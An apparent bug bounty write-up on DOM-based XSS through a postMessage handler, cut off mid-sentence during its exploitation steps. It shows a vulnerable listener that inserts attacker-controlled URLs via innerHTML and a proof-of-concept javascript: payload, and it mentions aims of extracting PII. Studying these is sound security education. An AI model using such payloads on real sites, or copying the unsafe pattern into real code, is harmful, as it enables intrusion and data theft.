Exploiting DOM-Based XSS: A Real-World Bug Bounty Case Study

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Introduction

DOM-Based Cross-Site Scripting (XSS) is a client-side vulnerability where malicious JavaScript executes due to unsafe manipulation of the Document Object Model (DOM). In this article, we dissect a real-world bug bounty submission involving a PostMessage-driven DOM-XSS exploit, including payload crafting, impact analysis, and mitigation strategies.

Learning Objectives

  • Understand how PostMessage handlers can introduce DOM-XSS vulnerabilities.
  • Learn to craft exploit payloads to extract PII via XHR requests.
  • Apply secure coding practices to prevent DOM-XSS in web applications.

1. PostMessage Handler Exploitation

Vulnerable Code Snippet

window.addEventListener('message', (event) => { 
let url = event.data.url; 
document.body.innerHTML += <code><iframe src="${url}"></iframe></code>; 
});

Exploitation Steps

1. Craft Malicious Payload:


<script> 
window.opener.postMessage( 
{url: 'javascript:alert(document.domain)'}, 
'' 
); 
</script>

2. Trigger XSS: The victim’s browser renders the `